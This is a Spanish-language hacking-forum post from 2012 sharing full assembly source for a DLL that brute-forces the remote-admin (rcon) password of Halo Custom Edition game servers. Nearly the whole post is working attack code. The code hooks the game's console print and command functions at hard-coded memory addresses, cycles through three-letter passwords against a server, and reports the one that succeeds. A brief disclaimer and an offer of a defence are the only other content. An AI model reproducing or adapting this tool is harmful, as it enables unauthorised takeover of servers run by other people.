elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Estamos en la red social de Mastodon


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  ASM (Moderador: Eternal Idol)
| | | |-+  Source Halo Rcon Force Brute.
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Source Halo Rcon Force Brute.  (Leído 2,820 veces)
fary


Desconectado Desconectado

Mensajes: 1.062



Ver Perfil WWW
Source Halo Rcon Force Brute.
« en: 6 Octubre 2012, 12:09 pm »

Bueno, aquí os dejo este código fuente de dicha herramienta que yo mismo programe.

Código
  1. ; Halo Rcon Ataque de Fuerza Bruta v0.1.
  2. ; Programación y Ing. Inversa por Juan fary, mas conocido con mDrinky
  3. ; 13 - Septiembre - 2012
  4.  
  5. ; Nota: Cualquier consulta sobre las funciones nativas de Halo que aqui se utilizan
  6. ; las pueden consultar a mi correo: drinky.94@hotmail.com
  7.  
  8. ; ADVERTENCIA: El autor de este programa no se hace responsable de la mala utilización que se le pueda dar a este software.
  9.  
  10. format PE GUI 4.0 DLL
  11. entry DllEntryPoint
  12.  
  13. include 'win32ax.inc'
  14.  
  15. section '.code' code readable executable
  16.  
  17. proc DllEntryPoint hinstDLL,fdwReason,lpvReserved
  18. cmp [fdwReason],1
  19. jne salir
  20.  
  21. mov eax,[EstadoConsola]
  22. mov byte[eax],1 ; Emulamos que la consola esta desplegada.
  23.  
  24. push Bienvenida
  25. push string
  26. xor eax,eax
  27. call ImprimirVerdadero ; Imprimimos mensage de bienvenida
  28. add esp,0x8
  29.  
  30. push Autor
  31. push string
  32. xor eax,eax
  33. call ImprimirVerdadero ; Imprimimos autor
  34. add esp,0x8
  35.  
  36. mov eax,[EstadoConsola]
  37. mov byte[eax],0
  38.  
  39. invoke VirtualProtect,[Procesar],6,PAGE_EXECUTE_READWRITE,addr oPerm  ; hookeamos procesar
  40.  
  41. mov eax,[Procesar]
  42.  
  43. mov byte[eax],0x68 ; push
  44. inc eax
  45. mov dword[eax],mProcesar     ; direccion
  46. add eax,4
  47. mov byte[eax],0xC3     ; ret
  48.  
  49. invoke Sleep,1
  50.  
  51. invoke VirtualProtect,[Imprimir],6,PAGE_EXECUTE_READWRITE,addr oPerm  ; hookeamos imprimir
  52.  
  53. mov eax,[Imprimir]
  54.  
  55. mov byte[eax],0x68 ; push
  56. inc eax
  57. mov dword[eax],mImprimir     ; direccion
  58. add eax,4
  59. mov byte[eax],0xC3     ; ret
  60.  
  61.  
  62. invoke GetCurrentProcess
  63. invoke FlushInstructionCache,eax,NULL,NULL  ; refrescamos las instrucciones
  64.  
  65. salir:
  66. ret
  67. endp
  68.  
  69. ImprimirVerdadero:    ; Función para arreglar la funcion hookeada de imprimir
  70. sub esp,0x10 ; 6 primeros bytes de la función imprimir
  71. push edi
  72. mov edi,eax
  73.  
  74. mov eax,[Imprimir]
  75.  
  76. add eax,6 ; Saltamos a la función original
  77. jmp eax
  78.  
  79. mImprimir:
  80. mov ebp,esp
  81. push ebp
  82.  
  83. mov eax,dword[ebp+8]  ; eax = puntero a cadena que se iva a imprimir.
  84.  
  85. .if eax = 0
  86.    pop ebp
  87.    ret
  88. .endif
  89.  
  90. cmp [HackOn],0
  91. je  NoFiltro
  92.  
  93. ; Hay que poner bandera a 1
  94. .if byte[eax] = 'A'
  95.    .if byte[eax+2] = 'c'
  96. pop ebp
  97. jmp SeguimosBus
  98.    .endif
  99. .endif
  100.  
  101. .if byte[eax] = 'r'
  102.    .if byte[eax+2] = 'o'
  103. pop ebp
  104. SeguimosBus:
  105. .if [Bandera] <> 1
  106.    call SaltoSinFlujo
  107. .endif
  108. ret
  109.    .endif
  110. .endif
  111.  
  112. .if byte[eax] = 's'
  113.    .if byte[eax+3] = 'r'
  114. pop ebp
  115.  
  116. mov [Bandera],1
  117.  
  118. mov edi,LimpiarConsola
  119. call ProcesarVerdadero ; Limpiamos la consola
  120.  
  121. push OkClave
  122. push string
  123. xor eax,eax
  124. call ImprimirVerdadero
  125. add esp,8
  126.  
  127. push ImprClave
  128. push string
  129. xor eax,eax
  130. call ImprimirVerdadero
  131. add esp,8
  132.  
  133. mov [HackOn],0
  134.  
  135. ret
  136.    .endif
  137. .endif
  138.  
  139. NoFiltro:
  140.  
  141. push eax
  142. push string
  143. xor eax,eax
  144. call ImprimirVerdadero
  145. add esp,0x8
  146.  
  147. pop ebp
  148. ret
  149.  
  150. SaltoSinFlujo:
  151.  
  152. invoke TerminateThread,[HiloViejo],0
  153. invoke CreateThread,0,0,DarFlujo,0,0,0
  154. mov [HiloViejo],eax
  155.  
  156. ret
  157.  
  158. DarFlujo:
  159.  
  160. invoke Sleep,500
  161.  
  162. mov edi,LimpiarConsola
  163. call ProcesarVerdadero ; Limpiamos la consola
  164.  
  165. jmp BucleClaves3
  166. ret
  167.  
  168. mProcesar:
  169. .if byte[edi] = 'm'
  170.    .if byte[edi+4] = 'y'
  171. call [CerrarConsola] ; Cerramos la consola para poder seguir jugando mientras
  172.  
  173. push Iniciando
  174. push string
  175. xor eax,eax
  176. call ImprimirVerdadero ; Mensage informando que vamos a iniciar el forzado.
  177. add esp,8
  178.  
  179. invoke CreateThread,0,0,mFB,0,0,0 ; Iniciarmos Hack!
  180.  
  181. mov [HackOn],1
  182.  
  183. ret
  184.    .endif
  185. .endif
  186.  
  187. call ProcesarVerdadero
  188. ret
  189.  
  190. mFB:
  191. mov edi,CadenaClave
  192.  
  193. mov [Letra1],64 ; Letra1 = Primer byte
  194.  
  195. BucleClaves:
  196.  
  197. inc [Letra1]
  198.  
  199. mov eax,CadenaClave
  200. add eax,5
  201.  
  202. mov dl,byte[Letra1]
  203. mov byte[eax],dl
  204. mov byte[ImprClave],dl
  205.  
  206. mov [Letra2],64   ; Letra2 = Segundo byte
  207.  
  208. BucleClaves2:
  209.  
  210. inc [Letra2]
  211. mov eax,CadenaClave
  212. add eax,6
  213.  
  214. mov cl,byte[Letra2]
  215. mov byte[eax],cl
  216. mov byte[ImprClave+1],cl
  217.  
  218.  
  219. mov [Letra3],64    ; Letra3 = Tercer Byte
  220.  
  221. BucleClaves3:
  222. inc [Letra3]
  223. mov eax,CadenaClave
  224. add eax,7
  225.  
  226. mov bl,byte[Letra3]
  227. mov byte[eax],bl
  228. mov byte[ImprClave+2],bl
  229.  
  230. mov eax,[EstadoConsola]
  231. mov byte[eax],1
  232.  
  233. push ImprClave
  234. push string
  235. xor eax,eax
  236. call ImprimirVerdadero ; Imprimimos la Clave por la que vamos
  237. add esp,0x8
  238.  
  239. mov edi,CadenaClave
  240. call ProcesarVerdadero ; Procesamos la intruccion
  241.  
  242. ; por aqui no se pueden poner Sleep porque el programa se salta las rcon
  243.  
  244. .if [Letra3] >= 90
  245.     mov [Letra3],65
  246.     inc [Letra2]
  247.  
  248.     mov eax,CadenaClave
  249.     add eax,6
  250.  
  251.     mov cl,byte[Letra2]
  252.     mov byte[eax],cl
  253.     mov byte[ImprClave+1],cl
  254. .endif
  255.  
  256. .if [Letra2] >= 90
  257.    mov [Letra2],65
  258.    inc [Letra1]
  259.    mov eax,CadenaClave
  260.    add eax,5
  261.  
  262.    mov dl,byte[Letra1]
  263.    mov byte[eax],dl
  264.    mov byte[ImprClave],dl
  265. .endif
  266.  
  267. ret
  268.  
  269.  
  270. ProcesarVerdadero:  ; Funcion Para Arreglar la funcion verdadera hookeada de procesar
  271. mov al,byte[edi]  ; Primeros 10 bytes de la funcion procesar
  272. sub esp,0x500
  273. cmp al,0x3B
  274.  
  275. mov edx,[Procesar]
  276.  
  277. add edx,0xA ; Saltamos a la funcion procesar verdadera
  278. jmp edx
  279.  
  280. section '.data' data readable writeable
  281. Bienvenida      db '+ Fuerza Bruta para Halo Custom Edition está listo para usarse.',0
  282. Autor      db '+ Programado por mDrinky.',0
  283. CadenaClave      db 'rcon XXX sv_rcon_password',0 ; Hay que cambiar los bytes 6,7 y 8
  284. ImprClave      db 0x0,0x0,0x0,0x0   ; Se sustitullen los 3 primeros bytes
  285. LimpiarConsola      db 'cls',0
  286. OkClave      db 'La rcon del servidor es:',0
  287. string      db '%s',0
  288. Iniciando      db 'Iniciando Fuerza Bruta al servidor!',0
  289.  
  290. Letra1      dd ?
  291. Letra2      dd ?
  292. Letra3      dd ?
  293. oPerm      dd ?
  294. HiloViejo      dd ?
  295. Bandera      dd ?
  296. HackOn      dd ?
  297.  
  298. EstadoConsola      dd 0x651E88  ; Direccion que contiene 1 byte indicando el estado de la consola ACTIVA/NO ACTIVA
  299. Procesar      dd 0x4C9E10  ; Dirección de la funcion que procesa las instrucciones
  300. CerrarConsola      dd 0x4C9980  ; Direccion de la funcion de ciera y abre la consola
  301. Imprimir      dd 0x499BD0  ; Direccion de la funcion que imprime datos en pantalla
  302.  
  303. section '.idata' import data readable writeable
  304.  library kernel,'KERNEL32.DLL',\
  305. USER32,'USER32.DLL'
  306.  
  307.  import kernel,\
  308. VirtualProtect,'VirtualProtect',\
  309. CreateThread,'CreateThread',\
  310. FlushInstructionCache,'FlushInstructionCache',\
  311. GetCurrentProcess,'GetCurrentProcess',\
  312. Sleep,'Sleep',\
  313. TerminateThread,'TerminateThread'
  314.  
  315.  import USER32,\
  316. MessageBoxA,'MessageBoxA'
  317.  
  318. section '.reloc' fixups data discardable



Tambien tengo algo implementado para evitar estos ataques, si alquien lo quiere que  avise!.



un saludo.


En línea

Un byte a la izquierda.
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
brute force en vb
Programación Visual Basic
luidin 8 6,337 Último mensaje 6 Julio 2007, 14:03 pm
por 3k1n0x
Brute Force « 1 2 »
Programación Visual Basic
ActiveSheet 10 5,314 Último mensaje 1 Agosto 2007, 15:29 pm
por Kizar
[SOURCE] Brute Force Dictionary Creator 7913
Programación Visual Basic
79137913 0 5,357 Último mensaje 26 Abril 2011, 15:55 pm
por 79137913
brute force
Seguridad
mimirris 1 2,883 Último mensaje 26 Mayo 2012, 23:09 pm
por Jenag
Brute force
Hacking
WIитX 6 4,755 Último mensaje 30 Agosto 2012, 21:03 pm
por WIитX
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines